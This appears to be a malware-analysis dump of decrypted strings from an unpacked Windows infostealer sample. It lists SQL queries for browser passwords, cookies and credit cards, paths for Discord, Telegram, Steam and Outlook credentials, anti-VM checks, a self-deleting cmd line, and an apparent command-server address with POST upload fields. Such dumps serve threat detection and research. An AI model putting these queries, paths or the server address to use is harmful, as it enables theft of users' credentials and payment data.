Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: FindClose
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetDC
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: PATH
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: browser:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: profile:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: url:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: login:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: password:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Opera
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Network
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: cookies
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: .txt
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: TRUE
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: FALSE
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: autofill
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: history
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: cc
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: name:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: month:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: year:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: card:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Cookies
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Login Data
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Web Data
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: History
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: logins.json
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: usernameField
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: guid
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: plugins
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Local State
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: chrome
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: opera
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: firefox
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: wallets
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ProductName
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: x32
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: x64
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - OS:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Language:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: All Users:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Current User:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Process List:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: .exe
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: runas
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: open
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: /c start
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: files
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \discord\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: key_datas
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: map*
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Telegram
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Tox
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: *.tox
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: *.ini
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Password
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: 00000001
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: 00000002
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: 00000003
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: 00000004
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: token:
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \config\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: browsers
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: done
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: soft
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: https
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: POST
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: hwid
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: build
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: token
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: file_name
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: file
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: message
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: screenshot.jpg
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Sleep
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sscanf
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: http://85.28.47.31
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: silence
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: /5499d72b3a3e55be.php
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: /8405906461a5200c/
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: sila
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: Process32First
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: FindClose
Source: 0.2.file.exe.4090e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
